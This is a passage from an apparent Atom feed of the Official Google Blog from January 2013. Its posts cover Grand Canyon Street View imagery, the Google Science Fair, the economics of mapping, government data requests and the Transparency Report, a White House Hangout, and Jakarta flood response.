+&lt;small&gt;&lt;a href="https://www.google.com/maps?cbp=13,270.64,,0,-0.68&amp;amp;layer=c&amp;amp;panoid=HX6jvVUCA2-09O3ndzgDHg&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;cbll=36.09956,-112.106834&amp;amp;source=embed&amp;amp;ll=36.080459,-112.107067&amp;amp;spn=0.066593,0.145912&amp;amp;z=12" style="color: blue; text-align: left;"&gt;View Larger Map&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;The Colorado River, one of the many impressive scenes in the Grand Canyon&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+This breathtaking &lt;a href="http://google-latlong.blogspot.com/2012/10/trekking-grand-canyon-for-google-maps.html"&gt;imagery collection&lt;/a&gt; was made possible with the &lt;a href="http://maps.google.com/help/maps/streetview/learn/cars-trikes-and-more.html#trekker"&gt;Trekker&lt;/a&gt;. Our team strapped on the Android-operated 40-pound backpacks carrying the 15-lens camera system and wound along the rocky terrain on foot, enduring temperature swings and a few muscle cramps along the way. Together, more than 9,500 panoramas of this masterpiece of nature are now available on Google Maps. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;iframe frameborder="0" height="240" marginheight="0" marginwidth="0" scrolling="no" src="https://www.google.com/maps?cbp=13,22.38,,0,3.59&amp;amp;layer=c&amp;amp;panoid=Fa-wHCWazJG6bn7ZjISQCA&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;cbll=36.065096,-112.137107&amp;amp;source=embed&amp;amp;ll=36.046046,-112.13728&amp;amp;spn=0.066622,0.145912&amp;amp;z=12&amp;amp;output=svembed" width="425"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;small&gt;&lt;a href="https://www.google.com/maps?cbp=13,22.38,,0,3.59&amp;amp;layer=c&amp;amp;panoid=Fa-wHCWazJG6bn7ZjISQCA&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;cbll=36.065096,-112.137107&amp;amp;source=embed&amp;amp;ll=36.046046,-112.13728&amp;amp;spn=0.066622,0.145912&amp;amp;z=12" style="color: blue; text-align: left;"&gt;View Larger Map&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;A breathtaking 360-degree view from the famous Bright Angel Trail&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+So no matter where you are, you don’t have to travel far or wait for warmer weather to explore Grand Canyon National Park. Check out some of our favorite views on our &lt;a href="http://www.google.com/worldwonders"&gt;World Wonders site&lt;/a&gt; where you can find more information, facts and figures about the Grand Canyon, or in the updated &lt;a href="http://maps.google.com/grandcanyon"&gt;Street View gallery&lt;/a&gt;, and happy (virtual) hiking! &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Ryan Falor, Product Manager, Google Maps&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/bVLV3alyhhk" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/4520654151726514233?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/4520654151726514233?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/bVLV3alyhhk/exploring-grand-canyon-on-google-maps.html" title="Exploring the Grand Canyon on Google Maps" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/mpcar4L_EXY/default.jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/exploring-grand-canyon-on-google-maps.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEUGRXk_eyp7ImA9WhNaFkg.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-2254734721819548778</id><published>2013-01-30T05:00:00.000-08:00</published><updated>2013-01-31T09:10:24.743-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-31T09:10:24.743-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="education and research" /><title>Google Science Fair: Looking for the next generation of scientists and engineers to change the world</title><content type="html">At age 16, &lt;a href="https://www.googlesciencefair.com/en/2013/science-heroes?bookmark=science-heroes-matrix-3"&gt;Louis Braille&lt;/a&gt; invented an alphabet for the blind. When she was 13, &lt;a href="https://www.googlesciencefair.com/en/2013/science-heroes?bookmark=science-heroes-matrix-9"&gt;Ada Lovelace&lt;/a&gt; became fascinated with math and went on to write the first computer program. And at 18, &lt;a href="https://www.googlesciencefair.com/en/2013/science-heroes?bookmark=science-heroes-matrix-1"&gt;Alexander Graham Bell&lt;/a&gt; started experimenting with sound and went on to invent the telephone. Throughout history many great scientists developed their curiosity for science at an early age and went on to make groundbreaking discoveries that changed the way we live. &lt;br /&gt;
+&lt;br /&gt;
+Today, we’re launching the third annual Google Science Fair in partnership with CERN, the LEGO Group, National Geographic and Scientific American to find the next generation of scientists and engineers. We’re inviting students ages 13-18 to participate in the largest online science competition and submit their ideas to change the world.&lt;br /&gt;
+&lt;br /&gt;
+&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/3Rqcg7BJwJM" width="560"&gt;&lt;/iframe&gt;&lt;br /&gt;
+&lt;br /&gt;
+For the past two years, thousands of students from more than 90 countries have submitted research projects that address some of the most challenging problems we face today. Previous winners tackled issues such as the &lt;a href="http://youtu.be/DcSWmoiLhzY"&gt;early diagnosis of breast cancer&lt;/a&gt;, &lt;a href="http://youtu.be/l80bxaFrQuM"&gt;improving the experience of listening to music for people with hearing loss&lt;/a&gt; and &lt;a href="http://youtu.be/88D1teLvZE8"&gt;cataloguing the ecosystem found in water&lt;/a&gt;. This year we hope to once again inspire scientific exploration among young people and receive even more entries for our third competition. &lt;br /&gt;
+&lt;br /&gt;
+Here’s some key information for this year’s Science Fair:&lt;br /&gt;
+&lt;ul&gt;&lt;li&gt;Students can enter the Science Fair in &lt;a href="https://www.googlesciencefair.com/en/2013/faqs?bookmark=faqs-accordion-46"&gt;13 languages&lt;/a&gt;.&lt;/li&gt;
+&lt;li&gt;The deadline for submissions is April 30, 2013 at 11:59 pm PDT.&lt;/li&gt;
+&lt;li&gt;In June, we’ll recognize 90 regional finalists (30 from the Americas, 30 from Asia Pacific and 30 from Europe/Middle East/Africa).&lt;/li&gt;
+&lt;li&gt;Judges will then select the top 15 finalists, who will be flown to Google headquarters in Mountain View, Calif. for our live, final event on September 23, 2013.&lt;/li&gt;
+&lt;li&gt;At the finals, a &lt;a href="https://www.googlesciencefair.com/en/2013/judging"&gt;panel of distinguished international judges&lt;/a&gt; consisting of renowned scientists and tech innovators will select top winners in each age category (13-14, 15-16, 17-18). One will be selected as the Grand Prize winner.&lt;/li&gt;
+&lt;/ul&gt;&lt;a href="https://www.googlesciencefair.com/en/2013/prizes"&gt;Prizes&lt;/a&gt; for the 2013 Science Fair include a $50,000 scholarship from Google, a trip to the Galapagos with National Geographic Expeditions, experiences at CERN, Google or the LEGO Group and digital access to the Scientific American archives for the winner’s school for a year. Scientific American will also award a &lt;a href="http://www.scientificamerican.com/science-in-action/"&gt;$50,000 Science in Action prize&lt;/a&gt; to one project that makes a practical difference by addressing a social, environmental or health issue. We’re also introducing two new prizes for 2013:&lt;br /&gt;
+&lt;ul&gt;&lt;li&gt;In August, the public will have the opportunity to get to know our 15 finalists through a series of Google+ Hangouts on Air and will then vote for the Inspired Idea Award—an award selected by the public for the project with the greatest potential to change the world.&lt;/li&gt;
+&lt;li&gt;We also recognize that behind every great student there’s often a great teacher and a supportive school, so this year we’ll award a $10,000 cash grant from Google and an exclusive Google+ Hangout with CERN to the Grand Prize winner’s school.&lt;/li&gt;
+&lt;/ul&gt;Lastly, we’ll also be hosting a series of &lt;a href="https://plus.google.com/+GoogleScienceFair"&gt;Google+ Hangouts on Air&lt;/a&gt;. Taking place on Mondays, Wednesdays and Fridays, these Hangouts will feature renowned scientists including inventor Dean Kamen and oceanographic explorer Fabien Cousteau, showcase exclusive behind-the-scenes tours of cutting-edge labs and science facilities, and provide access to judges and the Google Science Fair team. We hope these Google+ Hangouts will help inspire, mentor and support students throughout the competition and beyond.&lt;br /&gt;
+&lt;br /&gt;
+Visit &lt;a href="http://www.googlesciencefair.com/"&gt;www.googlesciencefair.com&lt;/a&gt; to get started now—your idea might just change the world.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Sam Peter, Google Science Fair Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/Qikj9J_1t3Q" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/2254734721819548778?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/2254734721819548778?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/Qikj9J_1t3Q/google-science-fair-looking-for-next.html" title="Google Science Fair: Looking for the next generation of scientists and engineers to change the world" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/3Rqcg7BJwJM/default.jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/google-science-fair-looking-for-next.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEFQ3w5eip7ImA9WhNaFUk.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-6994018193621790558</id><published>2013-01-30T03:00:00.000-08:00</published><updated>2013-01-30T03:00:12.222-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-30T03:00:12.222-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="policy and issues" /><category scheme="http://www.blogger.com/atom/ns#" term="maps and earth" /><title>Mapping creates jobs and drives global economic growth</title><content type="html">Twenty years ago, we used paper maps and printed guides to help us navigate the world. Today, the most advanced digital mapping technologies—satellite imagery, GPS devices, location data and of course &lt;a href="http://maps.google.com/"&gt;Google Maps&lt;/a&gt;—are much more accessible. This sea change in mapping technology is improving our lives and helping businesses realize untold efficiencies. &lt;br /&gt;
+&lt;br /&gt;
+The transformation of the maps we use everyday is driven by a growing industry that creates jobs and economic growth globally. To present a clearer picture of the importance of the geo services industry, we commissioned studies from &lt;a href="https://www.bcgperspectives.com/content/interviews/metals_mining_value_creation_strategy_potere_david_geospatial_growth_engine/"&gt;Boston Consulting Group&lt;/a&gt; (BCG) and &lt;a href="http://www.oxera.com/"&gt;Oxera&lt;/a&gt;. What we found is that maps make a big economic splash around the world. &lt;br /&gt;
+&lt;br /&gt;
+In summary, the global geo services industry is valued at up to $270 billion per year and pays out $90 billion in wages. In the U.S., it employs more than 500,000 people and is worth $73 billion. The infographic below illustrates some examples of the many benefits of maps, whether it’s improving agriculture irrigation systems or helping emergency response teams save lives.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-RcMEz1LaqUg/UQi0f5-OjMI/AAAAAAAAKrg/o_vVq5wvt5w/s1600/Geo%2BServices%2BInfographic%2B-%2Bfinal.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="500" src="http://4.bp.blogspot.com/-RcMEz1LaqUg/UQi0f5-OjMI/AAAAAAAAKrg/o_vVq5wvt5w/s500/Geo%2BServices%2BInfographic%2B-%2Bfinal.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;Click the image for a larger version&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;
+1.1 billion hours of travel time saved each year? That’s a lot of time. Also, consider &lt;a href="http://www.ups.com/"&gt;UPS&lt;/a&gt;, which uses map technology to optimize delivery routes—saving 5.3 million miles and more than 650,000 gallons of fuel in 2011. And every eight seconds, a user hails a taxi with &lt;a href="http://hailocab.com/"&gt;Hailo&lt;/a&gt;, which used maps and GPS to deliver more than 1 million journeys in London alone last year. Finally, &lt;a href="http://www.zipcar.com/"&gt;Zipcar&lt;/a&gt; uses maps to connect more than 760,000 customers to a growing fleet of cars in locations around the world. &lt;br /&gt;
+&lt;br /&gt;
+Because maps are such an integral part of how we live and do business, the list of examples goes on and on. That’s why it’s important we all understand the need to invest in the geo services industry so it continues to grow and drive the global economy. Investments can come from the public and private sectors in many forms—product innovation, support of open data policies, more geography education programs in schools and more. &lt;br /&gt;
+&lt;br /&gt;
+We’re proud of the contributions that &lt;a href="http://maps.google.com/"&gt;Google Maps&lt;/a&gt; and &lt;a href="http://www.google.com/earth/index.html"&gt;Earth&lt;/a&gt;, the &lt;a href="https://developers.google.com/maps/"&gt;Google Maps APIs&lt;/a&gt; and our &lt;a href="http://www.google.com/enterprise/earthmaps/index.html"&gt;Enterprise solutions&lt;/a&gt; have made to the geo services industry and to making maps more widely available, but there’s a long way to go. To learn more about the impact of the maps industry, see the &lt;a href="http://valueoftheweb.com/reports/geospatial-services"&gt;full reports&lt;/a&gt;. &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Brian McClendon, VP Google Geo&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/1ud7DHoOaWk" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/6994018193621790558?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/6994018193621790558?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/1ud7DHoOaWk/mapping-creates-jobs-and-drives-global.html" title="Mapping creates jobs and drives global economic growth" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-RcMEz1LaqUg/UQi0f5-OjMI/AAAAAAAAKrg/o_vVq5wvt5w/s72-c/Geo%2BServices%2BInfographic%2B-%2Bfinal.jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/mapping-creates-jobs-and-drives-global.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YERXw-cCp7ImA9WhNaFE0.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-3787511402743780982</id><published>2013-01-27T21:52:00.000-08:00</published><updated>2013-01-28T11:25:04.258-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-28T11:25:04.258-08:00</app:edited><title>Google’s approach to government requests for user data</title><content type="html">Today, January 28, is Data Privacy Day, when the world recognizes the importance of preserving your online privacy and security.&lt;br /&gt;
+&lt;br /&gt;
+If it’s like most other days, Google—like many companies that provide online services to users—will receive dozens of letters, faxes and emails from government agencies and courts around the world requesting access to our users’ private account information. Typically this happens in connection with government investigations.&lt;br /&gt;
+&lt;br /&gt;
+It’s important for law enforcement agencies to pursue illegal activity and keep the public safe. We’re a law-abiding company, and we don’t want our services to be used in harmful ways. But it’s just as important that laws protect you against overly broad requests for your personal information. &lt;br /&gt;
+&lt;br /&gt;
+To strike this balance, we’re focused on three initiatives that I’d like to share, so you know what Google is doing to protect your privacy and security.&lt;br /&gt;
+&lt;br /&gt;
+First, for several years we have advocated for updating laws like the U.S. Electronic Communications Privacy Act, so the same protections that apply to your personal documents that you keep in your home also apply to your email and online documents. We’ll continue this effort strongly in 2013 through our membership in the &lt;a href="http://www.digitaldueprocess.org/index.cfm?objectid=37940370-2551-11DF-8E02000C296BA163"&gt;Digital Due Process&lt;/a&gt; coalition and other initiatives.&lt;br /&gt;
+&lt;br /&gt;
+Second, we’ll continue our long-standing strict process for handling these kinds of requests. When government agencies ask for our users’ personal information—like what you provide when you sign up for a Google Account, or the contents of an email—our team does several things:&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;We scrutinize the request carefully to make sure it satisfies the law and our policies. For us to consider complying, it generally must be made in writing, signed by an authorized official of the requesting agency and issued under an appropriate law.&lt;/li&gt;
+&lt;li&gt;We evaluate the scope of the request. If it’s overly broad, we may refuse to provide the information or &lt;a href="http://googleblog.blogspot.com/2006/03/judge-tells-doj-no-on-search-queries.html"&gt;seek to narrow the request&lt;/a&gt;. We do this frequently.&lt;/li&gt;
+&lt;li&gt;We notify users about legal demands when appropriate so that they can contact the entity requesting it or consult a lawyer. Sometimes we can’t, either because we’re legally prohibited (in which case we sometimes seek to lift gag orders or unseal search warrants) or we don’t have their verified contact information.&lt;/li&gt;
+&lt;li&gt;We require that government agencies conducting criminal investigations use a search warrant to compel us to provide a user’s search query information and private content stored in a Google Account—such as Gmail messages, documents, photos and YouTube videos. We believe a warrant is required by the Fourth Amendment to the U.S. Constitution, which prohibits unreasonable search and seizure and overrides conflicting provisions in ECPA.&lt;/li&gt;
+&lt;/ul&gt;
+And third, we work hard to provide you with information about government requests. Today, for example, we’ve added a new &lt;a href="https://www.google.com/transparencyreport/userdatarequests/legalprocess/"&gt;section&lt;/a&gt; to our Transparency Report that answers many questions you might have. And last week we released &lt;a href="http://googleblog.blogspot.com/2013/01/transparency-report-what-it-takes-for.html"&gt;data&lt;/a&gt; showing that government requests continue to rise, along with additional details on the U.S. legal processes—such as subpoenas, court orders and warrants—that governments use to compel us to provide this information.&lt;br /&gt;
+&lt;br /&gt;
+We’re proud of our approach, and we believe it’s the right way to make sure governments can pursue legitimate investigations while we do our best to protect your privacy and security.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by David Drummond, Senior Vice President and Chief Legal Officer&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/bROe78CRVZY" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/3787511402743780982?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/3787511402743780982?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/bROe78CRVZY/googles-approach-to-government-requests.html" title="Google’s approach to government requests for user data" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><feedburner:origLink>http://googleblog.blogspot.com/2013/01/googles-approach-to-government-requests.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4NSXszcCp7ImA9WhNbGUs.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-8229951629354037381</id><published>2013-01-23T09:09:00.000-08:00</published><updated>2013-01-23T09:09:58.588-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-23T09:09:58.588-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="google+" /><category scheme="http://www.blogger.com/atom/ns#" term="politics" /><title>Fireside Hangouts: Join Vice President Biden in a discussion about gun violence</title><content type="html">As President Obama and his cabinet begin their second term in the White House, they’re renewing a &lt;a href="http://www.youtube.com/user/whitehouse/videos?query=hangout"&gt;series&lt;/a&gt; of conversations on Google+ with top administration officials. These “Fireside Hangouts," a 21st-century spin on FDR’s &lt;a href="http://en.wikipedia.org/wiki/Fireside_chats"&gt;famous radio addresses&lt;/a&gt;, bring top Administration officials to Google+ to discuss the most important issues in the country, face-to-face-to-face with fellow citizens in a hangout. The next hangout will take place Thursday, January 24 at 1:45 pm ET with Vice President Joe Biden on a topic that’s on everyone’s mind: reducing gun violence.&lt;br /&gt;
+&lt;br /&gt;
+During his 30-minute hangout, Vice President Biden will discuss the White House policy recommendations on reducing gun violence with participants including &lt;a href="https://plus.google.com/+GuyKawasaki/posts"&gt;Guy Kawasaki&lt;/a&gt;, &lt;a href="https://plus.google.com/+PhilipDeFranco/posts"&gt;Phil DeFranco&lt;/a&gt; and moderator &lt;a href="https://plus.google.com/115316486335338050080/posts"&gt;Hari Sreenivasan&lt;/a&gt; from PBS NewsHour. If you'd like to suggest a question, just follow the participants on Google+, and look for posts about tomorrow's Hangout. To view the broadcast live, just tune in to the White House's &lt;a href="https://plus.google.com/+whitehouse/posts"&gt;Google+ page&lt;/a&gt; or &lt;a href="http://www.youtube.com/whitehouse"&gt;YouTube channel&lt;/a&gt; on Thursday afternoon. &lt;br /&gt;
+&lt;br /&gt;
+The White House will continue to host Hangouts with key members of the President’s cabinet on a range of second term priorities. Follow the White House on Google+ for more information about how you can join the conversation... or an upcoming Hangout.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by &lt;a href="https://plus.google.com/102472537558752713135/posts"&gt;Ramya Raghavan&lt;/a&gt;, Google+ Politics&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/-YDB56sfRsk" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8229951629354037381?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8229951629354037381?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/-YDB56sfRsk/fireside-hangouts-join-vice-president.html" title="Fireside Hangouts: Join Vice President Biden in a discussion about gun violence" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><feedburner:origLink>http://googleblog.blogspot.com/2013/01/fireside-hangouts-join-vice-president.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QNQn88cSp7ImA9WhNbGUg.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-2346096746283754418</id><published>2013-01-23T07:00:00.000-08:00</published><updated>2013-01-23T08:43:13.179-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-23T08:43:13.179-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="privacy and security" /><category scheme="http://www.blogger.com/atom/ns#" term="transparency" /><title>Transparency Report: What it takes for governments to access personal information</title><content type="html">Today we’re releasing new data for the &lt;a href="http://www.google.com/transparencyreport/userdatarequests/"&gt;Transparency Report&lt;/a&gt;, showing that the steady increase in government requests for our users’ data continued in the second half of 2012, as usage of our services continued to grow. We’ve shared figures like this &lt;a href="http://googleblog.blogspot.com/2010/04/greater-transparency-around-government.html"&gt;since 2010&lt;/a&gt; because it’s important for people to understand how government actions affect them.&lt;br /&gt;
+&lt;br /&gt;
+We’re always looking for ways to make the report even more informative. So for the first time we’re now &lt;a href="https://www.google.com/transparencyreport/userdatarequests/US/"&gt;including&lt;/a&gt; a breakdown of the kinds of legal process that government entities in the U.S. use when compelling communications and technology companies to hand over user data. From July through December 2012:&lt;br /&gt;
+&lt;ul&gt;&lt;li&gt;68 percent of the requests Google received from government entities in the U.S. were through subpoenas. These are requests for user-identifying information, issued under the Electronic Communications Privacy Act (“ECPAâ€), and are the easiest to get because they typically don’t involve judges.&lt;/li&gt;
+&lt;li&gt;22 percent were through ECPA search warrants. These are, generally speaking, orders issued by judges under ECPA, based on a demonstration of “probable cause†to believe that certain information related to a crime is presently in the place to be searched.&lt;/li&gt;
+&lt;li&gt;The remaining 10 percent were mostly court orders issued under ECPA by judges or other processes that are difficult to categorize.&lt;/li&gt;
+&lt;/ul&gt;&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-i_6gaDH1iuc/UP92oDlYQvI/AAAAAAAAKpM/VT7i5zKdNk0/s1600/US_transparency_report.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-i_6gaDH1iuc/UP92oDlYQvI/AAAAAAAAKpM/VT7i5zKdNk0/s500/US_transparency_report.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
+User data requests of all kinds have increased by more than 70 percent since 2009, as you can see in our new visualizations of overall trends. In total, we received 21,389 requests for information about 33,634 users from July through December 2012.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-FimkRyCemck/UP92oRlixzI/AAAAAAAAKpY/YpqfOEv2jgA/s1600/charts_transparency_report.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-FimkRyCemck/UP92oRlixzI/AAAAAAAAKpY/YpqfOEv2jgA/s500/charts_transparency_report.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
+We’ll keep looking for more ways to inform you about government requests and how we handle them. We hope more companies and governments themselves join us in this effort by releasing similar kinds of data.&lt;br /&gt;
+&lt;br /&gt;
+One last thing: You may have noticed that the latest Transparency Report doesn’t include new data on &lt;a href="http://www.google.com/transparencyreport/removals/government/"&gt;content removals&lt;/a&gt;. That’s because we’ve decided to release those numbers separately going forward. Stay tuned for that data.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Richard Salgado, Legal Director, Law Enforcement and Information Security&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/9CGTTWZozSw" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/2346096746283754418?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/2346096746283754418?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/9CGTTWZozSw/transparency-report-what-it-takes-for.html" title="Transparency Report: What it takes for governments to access personal information" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-i_6gaDH1iuc/UP92oDlYQvI/AAAAAAAAKpM/VT7i5zKdNk0/s72-c/US_transparency_report.png" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/transparency-report-what-it-takes-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MAQXw5cSp7ImA9WhNbFEo.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-7176513715713562385</id><published>2013-01-17T19:24:00.000-08:00</published><updated>2013-01-17T19:24:00.229-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-17T19:24:00.229-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Asia" /><category scheme="http://www.blogger.com/atom/ns#" term="maps and earth" /><category scheme="http://www.blogger.com/atom/ns#" term="crisis response" /><title>Responding to the severe flooding in Jakarta, Indonesia</title><content type="html">The Google Crisis Response team has assembled a &lt;a href="http://www.google.org/intl/en/crisisresponse/2013-jakarta-flood.html"&gt;resource page&lt;/a&gt; to help track affected areas and provide updated emergency information for the millions affected by flooding in Jakarta. We also have a &lt;a href="http://www.google.org/crisisresponse/2013-jakarta-flood-mobile.html"&gt;mobile page&lt;/a&gt; with emergency contact numbers and lists of shelters, and &lt;a href="http://www.google.co.id/search?q=evakuasi"&gt;enhanced search results on google.co.id&lt;/a&gt; to provide information directly when people search. We’ve also included this information in our &lt;a href="http://www.google.co.id/intl/en/mobile/landing/freezone/stp.html"&gt;FreeZone&lt;/a&gt; service to reach affected users on feature phones.&lt;br /&gt;
+&lt;br /&gt;
+On both the page and map, which are available in &lt;a href="http://www.google.org/intl/en/crisisresponse/2013-jakarta-flood.html"&gt;English&lt;/a&gt; and &lt;a href="http://www.google.org/intl/id/crisisresponse/2013-jakarta-flood.html"&gt;Bahasa Indonesia&lt;/a&gt;, you'll see an update on flood locations and related data such as traffic conditions in areas affected by the flooding.&lt;br /&gt;
+&lt;br /&gt;
+&lt;iframe height="400" src="http://google.org/crisismap/2013-jakarta-flood-en?hl=en&amp;amp;llbox=-6.0192%2C-6.5103%2C107.2118%2C106.4606&amp;amp;t=roadmap&amp;amp;layers=layer0%2C1&amp;amp;promoted&amp;amp;embedded=true" style="border: 1px solid #ccc;" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;
+&lt;br /&gt;
+To share the page or embed these maps on your own site, click "Share" at the top of the page. &lt;br /&gt;
+&lt;br /&gt;
+We’ll update the content as more information becomes available.&lt;br /&gt;
+&lt;br /&gt;
